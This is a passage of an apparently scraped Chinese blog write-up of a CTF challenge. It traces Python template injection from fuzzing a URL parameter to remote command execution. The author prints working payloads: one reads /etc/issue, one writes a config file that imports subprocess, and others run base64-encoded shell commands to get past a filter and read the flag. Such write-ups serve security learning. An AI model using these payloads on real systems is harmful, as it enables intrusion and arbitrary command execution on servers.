zoukankan      html  css  js  c++  java
  • i春秋Fuzz

    点开只有三个单词plz fuzz parameter

    大概意思就是让我们疯狂尝试参数。。。

    我们通过url尝试传入参数

    ?user=123

    ?name=123

    ?username=123

    ?id=123

    但参数为name时返回正确值

    尝试在这里注入

    。。。。。。

    失败

    但是这里会一直回显name后面的值

    通过dalao们的无限测试后发现这里是python模板注入

     

    再根据别人写的python模板注入的文章来跟着一步步注入

    读版本文件:?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/issue').read() }}

    SSTI漏洞注入:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output RUNCMD = check_output ') }}   (这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD。)

    config对象添加一个新项:?name={{ config.from_pyfile('/tmp/owned.cfg') }}

    通过向SSTI漏洞注入来检测是否成功:?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }}

    成功返回

    小括号单引号中的内容即为我们可以使用cmd执行的代码

    将其改为ls

    可能被拦截了

    base64先加密再解密的方法进行注入(bHMKlsbase64加密)

    ?name={{ config['RUNCMD']('`echo bHMK | base64 -d`',shell=True) }}

    没有返回,尝试ls -al

    ?name={{ config['RUNCMD']('`echo bHMgLWFsCg== | base64 -d`',shell=True) }}

    查看源码获得排列好的文件名

    再查看var/www/html下的文件名

    ?name={{ config['RUNCMD']('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}

    查看fl4g文件(cat var/www/html/fl4g

    ?name={{ config['RUNCMD']('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}

    拿到flag

  • 相关阅读:
    Delphi 获取时间的年月日
    Tlist删除技巧
    SQL Server 2008 允许远程连接的配置
    initialization & finalization
    display属性(元素转换)
    float 浮动
    盒模型
    行内元素和块级元素水平及垂直居中
    html常用的几个标签
    html基础
  • 原文地址:https://www.cnblogs.com/wosun/p/11505905.html
Copyright © 2011-2022 走看看